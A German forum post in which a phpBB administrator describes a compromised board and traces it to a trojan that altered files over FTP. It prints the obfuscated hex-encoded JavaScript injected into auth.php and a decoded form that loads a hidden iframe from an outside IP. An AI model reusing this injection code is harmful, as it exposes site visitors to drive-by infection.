Hallo,
die gleiche (oder ähnliche) Seuche hat mich auch befallen.
Hier mein Erfahrungsbericht:
Ich bin gerade das erste mal dabei ein Board einzurichten. Und während ich so unter der "produktiven" Domain am einrichten bin kam plötzlich der Schock
Wie mir zunächst unschwer aufgefallen ist wurden die Dateien
login.php, admin/index.php und includes/auth.php gelöscht.
Jetzt ein bisschen gegooglet:
Tip1: Dateien wieder hochladen
Ergebnis: Nachdem die Dateien wieder hochgeladen wurden, wurden Sie kurze Zeit später wieder gelöscht !
Weiter gegooglet:
Tip2: Sichertsmaßnahmen
Ich habe dann sofort alle Sichertsmaßnahmen aus der
Anleitung eingebaut, einschl register_globals=off.
Ergebnis: Schade, wieder nix, aber etwas anderes Verhalten. Die login.php, admin/index.php waren nach 2h wieder weg, aber die auth.php war noch da, hatte aber irgendwie einen neuen Zeitstempel bekommen.
Also die auth.php mit der originalen Datei verglichen und festgestellt: Scheiße, wer oder was hat den diesen komische Code hier angehängt?
Code: Alles auswählen
<body bgcolor="#FFFFFF" text="#000000">
<iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>
function v4798d3558079d(v4798d35580b97){ return(parseInt(v4798d35580b97,16));}
function v4798d355817a4(v4798d35581b9c){ var v4798d35581f9c='';for(v4798d355823ec=0; v4798d355823ec<v4798d35581b9c.length; v4798d355823ec+=2){ v4798d35581f9c+=(String.fromCharCode(v4798d3558079d(v4798d35581b9c.substr(v4798d355823ec, 2))));}return v4798d35581f9c;}
document.write(v4798d355817a4('3C5343524950543E77696E646F772E7374617475733D274
46F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D63646
638653165383564207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E
69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D2829
2A323738313533292B273263666336653264655C272077696474683D3739372068656967687
43D333439207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D
653E27293C2F5343524950543E'));
</script>
Weiter gegooglet:
Tip3: Virus auf dem lokalen PC (aus diesem Thread hier)
Jetzt gings schnell, FTP-Logfile untersucht und jau dat gibbet doch nicht!
Von meinem PC aus wurden sämtliche Index.php/htm/html aus allen Verzeichnissen schön nacheinander runtergeladen, modifiziert und dann wieder hochgeladen.
Ich hatte selber auch schonmal kurz an sowas gedacht, aber habe das dann gedanklich völlig ignoriert. Virus auf meinem PC? Nö dat kann doch nicht sein, da hat doch bestimmt die phpBB2 Software ne' Lücke, oder der Provider macht da Blödsinn!
Jetzt weiter forschen, also aus dem Logfile die böse IP (77.221.133.186) rausgesucht und in Google reingesteckt, und siehe da:
Auf
http://sugree.com/node/8 hat jemand den eingeschleusten Code in Klartext umgewandelt:
Code: Alles auswählen
window.status='Done';
document.write('<iframe name=ea8b src=\'http://77.221.133.188/.if/go.html?'+Math.round(Math.random()*35712)+'455ded43d\' width=72 height=496 style=\'display: none\'></iframe>')
Was auch immer das bedeutet, hört sich auf jedenfall nicht gut an!
Die befallenen Dateien habe ich restauriert. Der Windows PC ist jetzt vom Netz. Das FTP Passwort habe ich von einem anderen Rechner aus (Ubuntu) geändert und muß am Wochenende mal untersuchen welcher Trojaner sich da eingeschlichen hat und was der so alles anstellt.
Für mich bleiben einige Fragen:
- Was bewirkt der eingeschleuste Code?
- Wer macht so was?
- Welchen Sinn macht das ganze überhaupt?
Was ich bis jetzt daraus gelernt habe:
1. Webspace- und Boardadministration nur noch von einem Linux Rechner vornehmen
2. Erstmal den Fehler bei dem eigenen System ausschliessen bevor man andere verdächtigt
3. Suchfunktion bei phpbb.de nutzen
Puuhhhh, also auf jedenfall mal ein dickes Dankeschön für dieses Forum. Hier scheint es wirklich für jedes Problem zumindest einen Hinweis zu geben.
Schönen Tach noch
lrangar